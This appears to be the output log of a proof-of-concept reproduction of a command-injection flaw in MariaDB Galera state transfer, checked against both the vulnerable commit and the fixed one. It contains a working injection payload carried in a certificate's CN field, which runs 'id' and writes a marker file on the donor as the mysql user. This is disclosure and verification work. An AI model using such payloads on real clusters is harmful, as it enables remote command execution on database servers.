[+] Resolving immutable source and image identities
vulnerable_commit=46a8eb42a520193686d9a16d4cea4b3e002917e4
fix_commit=581562f94a83f29dcf2c6cc761b49ad55d9c287a
vulnerable_tag_commit=46a8eb42a520193686d9a16d4cea4b3e002917e4
    auth.remote_name_ = std::string(remote_auth(), col - remote_auth());
        wsrep_check_request_str(r_user.c_str(), wsrep_filename_char, true))
        wsrep_check_request_str(r_pw.c_str(), wsrep_filename_char, true))
vulnerable_image=mariadb@sha256:78a5047d3ba33975f183f183c2464cc7f1eab13ec8667e57cc9a5821d6da7577
fixed_base_image=mariadb@sha256:efb4959ef2c835cd735dbc388eb9ad6aab0c78dd64febcd51bc17481111890c4
/workspace/bundle/repro/runtime_work/donor-cert/cert.pem: OK
/workspace/bundle/repro/runtime_work/joiner-cert/cert.pem: OK
malicious_joiner_certificate_subject=CN = "x';id>/var/lib/mysql/MDEV40056_MARKER;sleep 3;#"
[+] Vulnerable two-node TCP SST run
wsrep_cluster_status	Primary
wsrep_local_state_comment	Synced
11.8.6-MariaDB-ubu2404
uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] Fixed-logic negative control from commit 581562f94a
[+] CONFIRMED: joiner-controlled Galera SST remote_auth executed a donor-side command as mysql; fixed control rejected it.